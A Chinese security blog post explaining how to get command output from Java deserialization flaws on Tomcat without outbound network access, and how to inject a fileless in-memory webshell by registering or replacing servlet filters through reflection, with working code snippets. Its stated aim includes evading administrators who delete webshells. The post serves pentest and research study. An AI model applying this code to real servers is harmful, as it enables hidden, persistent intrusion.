Tomcat动态注入内存webshell及反序列化回显实现

  • A+
所属分类:安全文章


一、背景介绍



某一天,小明同学在渗透测试中发现一个Java web服务存在反序列化漏洞,然后嘴角一翘,掏出了ysoserial(https://github.com/frohoff/ysoserial)就是一顿操作,一遍又一遍的刷新dnslog平台,就是没有请求过来,此时,小明同学陷入了沉思,这才意识到目标机器并不能对外部网络发出请求,这时候他开始思考,该怎么去拿到执行命令的回显呢?本文在3.1章节中会讲解在这种情况下如何去获取到回显。
小明同学在做渗透测试工作中,最开心的事情就是拿到了目标服务的Webshell了。但是经常会遇到一种糟心的情况,昨天刚上传的webshell今天就被管理员给删除了,这时候我们就会想到,如果我们把webshell给注入到JVM内存中,这样在管理员眼里,就会发现服务器上并没有新增的文件,也就安然无恙咯。这样的话,我们该如何去实现呢?本文在3.2章节中会讲解如何去注入一个内存webshell。

二、技术要点


  1. 反序列化漏洞在不出网情况下回显的思路
    1. 场景:目标环境的机器被限制了对外部发起请求,我们无法通过DNSLOG/HTTP请求的方式来获取执行命令后的回显
    2. 环境:Tomcat + Java web
    3. 结果:获取当前线程的response,直接将结果进行打印出来
  2. Java注入内存webshell
    1. 场景:存在反序列化漏洞或者已经具有代码执行权限,想要无文件的拿到webshell
    2. 环境:Tomcat环境 + Java web
    3. 结果:动态注入恶意filter(例如为注入filter为*.jpg)到JVM内存中,可达成访问任意jpg后缀即可执行命令
  3. 使用mat工具来从内存中查找response/request
    1. 场景: 在技术要点1和技术要点2中,都需要拿到当前请求的response/request,在这种情况下,我们可以使用mat来进行搜索

三、具体实现


3.1

反序列化漏洞在不出网情况下回显的思路



3.1.1 简介

   知识点

Tomcat在收到客户端的http请求时,会针对每一次请求,分别创建一个代表请求的request对象、和代表响应的response对象,既然request对象代表http请求,那么我们获取浏览器提交过来的数据,找request对象即可。response对象代表http响应,那么我们向浏览器输出数据,找response对象即可。--- 引自文章:https://segmentfault.com/a/1190000013126031

在理解了这个知识点之后,就会想到,我们只要可以拿到当前请求的response对象,就可以操控输出的数据了,这样的话,尽管默认情况下是没有回显的,也可以将任意内容通过http返回的方式进行回显了。既然这样,我们该如何获取到当前请求的response呢?本文3.1.2会来进行讲解。


3.1.2 细节


首先来看这么一段代码,正常情况下,我们可以直接使用当前线程的response来获取writer进行打印输出,也就是说在利用反序列化漏洞的时候,可以拿到当前请求的response,也就能拿到writer,从而直接进行回显。

@RequestMapping("/test")public String test(HttpServletResponse response){  PrintWriter writer = response.getWriter();  writer.write("test");}




这时候我们就要考虑在执行进controller时,获取到堆栈中存储的当前请求的response,这里我看来看一下kingkk师傅在文章https://xz.aliyun.com/t/7348中提到的,response在org.apache.catalina.core.ApplicationFilterChain中传递的时候,是有机会来使用ThreadLocal的static的变量来进行存储起来的,这里强调是static变量是因为它方便了我们的反射获取,如果是非静态变量的话,想要进行反射还需要找到对应的实例对象。上面说到有机会,是因为它本来是不会进行存储操作的,这就需要我们反射修改一些变量来创造机会。

图一 :图中有两个点,第一个点是用来存储request和response的;第二个点是在下文中会说到。

Tomcat动态注入内存webshell及反序列化回显实现

我们再来看一下创造机会的地方,在/org/apache/catalina/core/ApplicationFilterChain.java的internalDoFilter方法中,来看图二

Tomcat动态注入内存webshell及反序列化回显实现

通过图二可以看到是存在lastServicedRequest.set和lastServicedResponse.set操作的,但是默认情况下,ApplicationDispatcher.WRAP_SAME_OBJECT为False,也就不会进入逻辑,所以所说的创造机会就是将其反射修改为True,操作代码如下:

Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");Field modifiersField = Field.class.getDeclaredField("modifiers");modifiersField.setAccessible(true);modifiersField.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);WRAP_SAME_OBJECT.setAccessible(true);WRAP_SAME_OBJECT.setBoolean(null, true);

此时可以进入if判断,但是如果只修改了WRAP_SAME_OBJECT的话,在加载时是会报错的,因为在WRAP_SAME_OBJECT为false的情况下,lastServicedResponse和lastServicedRequest都被初始化为了null,在执行中就会变成null.set(),所以抛出异常,这一点在图一中可以看到。所以在反射完WRAP_SAME_OBJECT为true后,需要反射修改lastServicedRequest、lastServicedResponse,使其初始化,操作代码如下:

Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);lastServicedRequestField.setAccessible(true);lastServicedResponseField.setAccessible(true);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>)lastServicedRequestField.get(null);ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>)lastServicedResponseField.get(null);if (lastServicedResponse == null || lastServicedRequest == null) { //反射初始化lastServicedRequestField,lastServicedResponseField lastServicedRequestField.set(null,new ThreadLocal<>()); lastServicedResponseField.set(null, new ThreadLocal<>());}

来看图三,此时已经可以将其进行存储操作了

Tomcat动态注入内存webshell及反序列化回显实现
后面就是在lastServicedResponse取出response,然后拿到wirter进行打印输出,代码如下
ServletResponse responseFacade = lastServicedResponse.get();java.io.Writer w = responseFacade.getWriter();w.write("test");w.flush();

3.1.3 思路利用局限性


如果漏洞点出现在自定义的filter中,这个思路就不适用了,为什么不适用呢,来看图四:

Tomcat动态注入内存webshell及反序列化回显实现

filter的执行是在lastServicedResponse.set(response);之前的,并且lastServicedResponse是个线程级的变量,当前线程在执行到filter时,lastServicedResponse是为null的,所以我们没办法通过这个思路来获取到response了。




3.2

Java注入内存webshell


3.2.1 简介

这里利用的是Java web的filter,在我们对接口进行请求的时候,如果请求的路径符合filter配置的路径规则,则会先执行filter逻辑,那么我们是否可以动态注册一个新的filter呢,这样不就起到无文件webshell的作用了,但是我们该如何动态注册呢? 我们来看3.2.2的讲解。  
在熟悉了filter的执行逻辑后,是否非得注册一个新的filter呢,在一个框架中,默认情况下都会存在一些filter,那我们就可以选取其中一个,将其指向的filter类替换成我们编写的恶意类,这该如何操作呢? 来看3.2.3的讲解。

3.2.2 注册新filter来注入webshell

主要通过threedr3am师傅的文章https://xz.aliyun.com/t/7388学习相关思路,并记录自己遇到的问题以及思路的扩展。简单来说,就是动态注册一个filter,注册进去之后,下次访问的请求进入该filter后就会执行恶意逻辑。这里的前半部分是使用了kingkk上文中获取当前线程request的方式,然后获取ServletContext,注入filter。
这里我们先假设获取到了request,在文章https://www.jianshu.com/p/cbe1c3174d41中给出了下面动态注入filter的方式,代码如下:
javax.servlet.ServletContext servletContext = request.getServletContext();
Filter testFilter = new testFilter();javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("testFilter", testFilter);filterRegistration.setInitParameter("encoding", "utf-8");filterRegistration.setAsyncSupported(false);filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
然后threedr3am师傅在文章中提到这些执行完之后并不会生效,为什么不生效呢?因为在这种执行servletContext.addFilter的时候是会报错的,报错点在下图中标记的地方:

Tomcat动态注入内存webshell及反序列化回显实现

在这里if判断不相等,如果不相等的话,就会抛出异常,这里我们的思路就是修改掉context中state的值,在修改的时候需要注意的点是:使用getDeclaredField只能获取类对象的所有方法,获取不到父类的。编辑代码如下:

javax.servlet.ServletContext servletContext = request.getServletContext();
Field field0 = servletContext.getClass().getDeclaredField("context");field0.setAccessible(true);Object o = field0.get(servletContext);
Field field1 = o.getClass().getDeclaredField("context");field1.setAccessible(true);Object o1 = field1.get(o);
//反射修改stateClass class0 = o1.getClass();Class class1 = class0.getSuperclass().getSuperclass().getSuperclass().getSuperclass();
Field field2 = class1.getDeclaredField("state");field2.setAccessible(true);field2.set(o1, LifecycleState.STARTING_PREP);field1.set(o, o1);field0.set(servletContext, o);
Filter testFilter = new testFilter();javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("testFilter", testFilter);filterRegistration.setInitParameter("encoding", "utf-8");filterRegistration.setAsyncSupported(false);filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"*.png"});//反射将state复原,不然服务会无法访问field2.set(o1, LifecycleState.STARTED);field1.set(o, o1);field0.set(servletContext, o);

到这里之后还是不会生效,为了找出原因,我们来看一下正常的filter逻辑。


假设filter可以生效,这需要在/org/apache/catalina/core/ApplicationFilterFactory.java#createFilterChain中执行一些操作,首先从context中将filterMaps取出,然后遍历filtermaps,对比请求的path是否匹配filter的urlpattern,如果匹配成功,则将filter加入filterChain中,filterChain是ApplicationFilterChain的实例,存入了filters变量中,然后就是遍历filter的过程。

Tomcat动态注入内存webshell及反序列化回显实现

那我们来跟一下我们使用上面代码增加的filter逻辑,在/org/apache/catalina/core/ApplicationFilterFactory.java中可以看到问题所在

Tomcat动态注入内存webshell及反序列化回显实现

通过图片可以看到并没有将filter加入到filterChain中,原因是在执行findFilterConfig方法时返回了null,说明filterConfigs中没有我们注册的filter

Tomcat动态注入内存webshell及反序列化回显实现

在这里threedr3am师傅在文中使用了反射调用filterStart方法来将其加入到filterConfigs中,当然也可以进行反射添加进去,通过下图可以看到遍历了filterDefs,然后依次创建filterConfig添加进filterConfigs中。

Tomcat动态注入内存webshell及反序列化回显实现

反射调用filterStart方法的代码如下:

java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class  .getMethod("filterStart");filterStartMethod.setAccessible(true);filterStartMethod.invoke(o1, null);

3.2.3 替换旧filter类来注入webshell

在我跟了一遍filter的执行逻辑后,意识到可以不去注册一个新的filter,我们可以直接拿到已经存在的fiterConfig,然后覆盖掉已经存在的filter,这样可能会在某种情况下影响系统(不过,有多大影响取决于被我们覆盖的filter以及我们新filter的逻辑),但是会发现构造代码简单了很多,来看一下filter位置

Tomcat动态注入内存webshell及反序列化回显实现

这里我将characterEncodingFilter这个filter修改成我们自定义的,来看代码:

//假设已经拿到requestjavax.servlet.ServletContext servletContext = request.getServletContext();
Field field0 = servletContext.getClass().getDeclaredField("context");field0.setAccessible(true);Object o = field0.get(servletContext);
Field field1 = o.getClass().getDeclaredField("context");field1.setAccessible(true);Object o1 = field1.get(o);
Field field3 = o1.getClass().getSuperclass().getDeclaredField("filterConfigs");field3.setAccessible(true);Object o2 = field3.get(o1);
HashMap<String, Object> filterConfigs_map = (HashMap<String, Object>) o2;Object o4 = filterConfigs_map.get("characterEncodingFilter");
Field field5 = o4.getClass().getDeclaredField("filter");field5.setAccessible(true);field5.set(o4, new testFilter());//成功注入filter,访问/* 就会触发。

可以看到代码就会变得很简单了,也不需要去关心state的值引起的报错等等。但是需要注意,目标环境如果不存在你想要覆盖的filter的话,就会出现问题了,比如说我覆盖的characterEncodingFilter是在spring框架下的,可能其他框架就不存在了,这个问题需要注意。


3.3

使用mat工具来从内存中查找response/request


在上文的思路中,都是用到的kingkk在堆栈中找到的获取request/response的点,在这里我提供另外一种思路来进行查找,既然内存中存在存储Request的地方,那么我可以对内存打个快照下来,打快照方式如下
jmap -dump:format=b,file=heapdump.phrof 32994 //pid为运行服务的进程id

然后使用工具Mat加载内存文件,然后在Histogram中找到org.apache.coyote.Request对象

Tomcat动态注入内存webshell及反序列化回显实现

然后右键点击List Objects->with incoming references 来查找引用的地方,只要找到有线程上下文可访问的对象即可,这里需要注意,mat中的小红点表示是其直接引用对象。


Tomcat动态注入内存webshell及反序列化回显实现

对应代码如下:

@GetMapping("/test5")    public void test5() throws IOException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {        Object obj = Thread.currentThread();
Field group = obj.getClass().getSuperclass().getDeclaredField("group"); group.setAccessible(true); Object object0 = group.get(obj);
Field threads = object0.getClass().getDeclaredField("threads"); threads.setAccessible(true); Object object1 = threads.get(object0);
Thread[] thread_array = (Thread[]) object1; for (Thread thread : thread_array) { if(thread.getName().contains("ClientPoller")){ Field target = thread.getClass().getDeclaredField("target"); target.setAccessible(true); Object object2 = target.get(thread);
Field nio = object2.getClass().getDeclaredField("this$0"); nio.setAccessible(true); Object object3 = nio.get(object2);
Field poller = object3.getClass().getDeclaredField("poller"); poller.setAccessible(true); Object object4 = poller.get(object3);
Field nio2 = object4.getClass().getDeclaredField("this$0"); nio2.setAccessible(true); Object object5 = nio2.get(object4);
Field connections = object5.getClass().getSuperclass().getSuperclass().getDeclaredField("connections"); connections.setAccessible(true); Object object6 = connections.get(object5);
java.util.concurrent.ConcurrentHashMap hashmap = (java.util.concurrent.ConcurrentHashMap) object6;
for(Object map_obj : hashmap.values()){ Field currentprocessor = map_obj.getClass().getSuperclass().getDeclaredField("currentProcessor"); currentprocessor.setAccessible(true); Object object7 = currentprocessor.get(map_obj); if(object7 != null){ Field response = object7.getClass().getSuperclass().getDeclaredField("response"); response.setAccessible(true); Object object8 = response.get(object7);
Method method = object8.getClass().getMethod("doWrite",java.nio.ByteBuffer.class); ByteBuffer buffer = ByteBuffer.wrap("test".getBytes("utf-8")); method.invoke(object8, buffer); } } } } }


  • 备注:这种思路也是需要人工去翻找的,不如直接编写脚本找的快,但是这也个思路嘛~没准在其他场景下会比较方便呢。





四、文章参考


  • https://xz.aliyun.com/t/7348

  • http://www.jasongj.com/java/threadlocal/

  • https://zhuanlan.zhihu.com/p/84607925

  • https://xz.aliyun.com/t/7388

  • https://www.jianshu.com/p/cbe1c3174d41

  • https://zhuanlan.zhihu.com/p/84607925

  • https://juejin.im/post/5a7ceeabf265da4e9449a802

  • https://segmentfault.com/a/1190000013126031

  • http://cmsblogs.com/?p=10962




END


「 往期文章 」


HW攻防-Psexec原理分析及监控绕过

网贷诈骗猖獗,技术打击黑产团伙全记录




扫描二维码

获取更多姿势

穿云箭

安全实验室

Tomcat动态注入内存webshell及反序列化回显实现



发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: